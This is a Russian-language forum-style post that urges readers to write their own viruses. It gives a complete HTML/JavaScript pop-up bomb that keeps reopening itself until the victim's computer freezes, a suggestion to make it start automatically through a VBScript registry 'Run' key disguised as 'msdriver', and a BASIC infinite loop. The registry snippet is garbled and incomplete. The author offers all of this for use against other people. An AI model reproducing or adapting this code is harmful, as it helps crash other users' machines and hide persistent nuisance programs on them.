Конечно вы можете клеить вирусняги на прогах по шаблону, но лучше всего учите языки программирования и пишите свои... Свой первый вирус(если его можно так назвать) я написал отчасти на html, отчасти на JS сразу после того как познакомился с кодом для всплывающих окон и даже не ожидал, что Каспер запалит его как Trojan.Windbomb. Вообще многие вирусы основаны на принципе цикличности и засирают оперативку. Вот код того "троянца":
<html>
<head>
<title>
Ваш комп при смерти. Ждите...
</title>
<sсriрt language="JavaScript">
function virus()
{
window.open('virus.html')
}
</sсriрt>
</head>
<body bgcolor="black" text="red" onload="virus();" onunload="virus()">
<center>
<font size="10">
КОМПУ КАПУТ!!!
</font>
</center>
</body>
</html>

Сохранить как virus.html.

Поняли в чём дело? Мы ставим pop-up на само себя и в итоге, если чел вырубит блокировку всплывающих окон, они у него начнут плодиться, пока комп не висанёт! Можно помодернизировать, например, закинуть в автозагрузку, впихнув в <head> VBS-код:
<sсriрt language="VBScript">
s.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\W indows\CurrentVersion\Run\msdriver"
</sсriрt>

Предварительно закинув на жесткий диск. Главное - ваша фантазия!

А на BASIC'е можно вообще сделать элементарный засиратель оперативки, менее опасный, чем выше описанный:

1 PRINT COMPUTER CAPUT!!!
2 GOTO 1

У чела миллион раз пишется "COMPUTER CAPUT" и приходится завершать работу программы.
Ну конечно последний "вирус" не несёт никакой опасности, просто его принцип можно использовать для написания настоящих вирусов, способных повесить систему.

Удачи!!!